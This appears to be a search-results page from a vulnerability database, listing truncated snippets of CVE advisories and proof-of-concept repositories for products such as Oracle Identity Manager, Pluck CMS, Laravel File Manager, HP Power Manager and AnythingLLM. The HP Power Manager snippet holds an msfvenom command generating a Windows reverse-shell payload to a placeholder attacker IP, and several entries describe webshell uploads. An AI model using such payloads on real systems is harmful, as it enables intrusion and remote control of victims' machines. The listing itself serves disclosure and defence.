235653 matches found
Oracle Identity Manager REST WebServices - Authentication Bypass
Vulnerability in the Identity Manager product of Oracle Fusion Middleware component: REST WebServices. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Identity Manager...
TaskManager-Button-Disabler
TaskManager-Button-Disabler Forma sencilla de deshabilitar/renombrar botones de un administrador de tareas. Instalación root@kitploit: git clone https://github.com/Mrakovic-ORG/TaskManager-Button-Disabler cd TaskManager-Button-Disabler\TaskManager Button Disabler dotnet build Características...
PT-2026-90188
In the Linux kernel, the following vulnerability has been resolved: power: supply: charger-manager: register regulators before exposing sysfs charger manager remove and the err reg extcon probe error path free each charger regulator with regulator put before tearing down the power supply sysfs...
Ivanti Endpoint Manager Mobile < 12.8.0.4 / 12.9.x < 12.9.0.2 / 12.10.0.0 Privilege Escalation (CVE-2026-18851)
The version of Ivanti Endpoint Manager Mobile, formerly MobileIron Core, running on the remote host is prior to 12.8.0.4, or 12.9.x prior to 12.9.0.2. It is, therefore, affected by a privilege escalation vulnerability: - Missing authorization in Ivanti Endpoint Manager Mobile before version...
netty-handler: Netty: Improper trust manager handling leads to hostname verification bypass
A flaw was found in Netty, a network application framework. This vulnerability allows a remote attacker to bypass hostname verification due to improper handling of user-supplied trust managers. When a client is configured with a plain X.509 Trust Manager X509TrustManager, it fails to perform...
CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC
CVE-2020-29607 — Pluck CMS Ejecución remota de código autenticada en Pluck CMS anterior a 4.7.13. El administrador de archivos admin.php?action=files no valida las extensiones de archivo, permitiendo la subida de archivos .phar que Apache ejecuta como PHP. Subir una webshell a través de este...
CVE-2025-56399
Explotación Masiva CVE-2025-56399 CVE-2025-56399 – Ejecución Remota de Código en laravel-file-manager v3.3.1. Explota la configuración incorrecta en Laravel File Manager para subir y verificar un shell PHP mediante carga de archivos sin autenticación. Instalación Descargar repositorio...
CVE-2009-3999
CVE-2009-3999 Exploit de HP Power Manager 4.2 Build 7 inspirado por https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 PASO 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x...
CVE-2026-18994
A potential improper authorization vulnerability was reported in the Lenovo File Manager Android Application, distributed exclusively in the Chinese market, that could allow a local authenticated user to read or modify protected files within the application...
CVE-2026-25604-PoC
CVE-2026-25604 PoC Inyección de cabecera Host que conduce a la omisión de autenticación SAML en AWS Auth Manager de Apache Airflow Un atacante puede inyectar una cabecera Host maliciosa en el flujo de inicio de sesión SAML, haciendo que la URL del Servicio de Consumo de Aserciones ACS apunte a un...
EUVD-2026-75752
A potential improper authorization vulnerability was reported in the Lenovo File Manager Android Application, distributed exclusively in the Chinese market, that could allow a local authenticated user to read or modify protected files within the application...
CVE-2026-18994
A potential improper authorization vulnerability was reported in the Lenovo File Manager Android Application, distributed exclusively in the Chinese market, that could allow a local authenticated user to read or modify protected files within the application...
CVE-2026-18994
CVE-2026-18994 is a potential improper authorization vulnerability in the Lenovo File Manager Android Application , which is distributed exclusively in the Chinese market. A local authenticated user could read or modify protected files within the application. Lenovo rates this HIGH severity with ...
aem-xss
Badges License MIT Installation 1. Install Python3 and pip If you can't figure this out, you shouldn't really be using this...
CVE-2025-63946-Tencent-PC-Manager-EoP
CVE-2025-63946 Escalada de Privilegios en Tencent PC Manager versión: PCManager versión menor o igual a 17.10.28554.205 Resumen: Descubrí una vulnerabilidad en Tencent PC Manager donde los archivos y directorios bajo C:\Windows\Temp se manejan de forma insegura. Un atacante puede aprovechar ataqu...
CVE-2009-3036
CVE-2009-3036 SpeeDr00t@Black Falcon bid38241 Vulnerabilidad de Inyección HTML en la Consola de Symantec IM Manager información discusión exploit solución referencias noexploitlink...
CVE-2026-1937
🔴 Resumen de la Vulnerabilidad CVE-2026-1937 — Autorización faltante → Actualización arbitraria de opciones → Escalada de privilegios Descripción: El plugin YayMail – WooCommerce Email Customizer para WordPress es vulnerable a la modificación no autorizada de datos que conduce a la escalada de...
CVE-2026-88055 AnythingLLM: Stored XSS Due to Unescaped Server-Side HTML Concatenation in MetaGenerator
AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. In 1.16.1 and earlier, the manager role can store metapagetitle or metapagefavicon through /api/admin/system-preferences, and MetaGenerator inserts those values into...
CVE-2026-88055
AnythingLLM (by Mintplex-Labs), in versions 1.16.1 and earlier , is affected by a stored XSS caused by unescaped server-side HTML concatenation. The manager role can store meta_page_title or meta_page_favicon via /api/admin/system-preferences; these values pass unchanged through server/models/sys...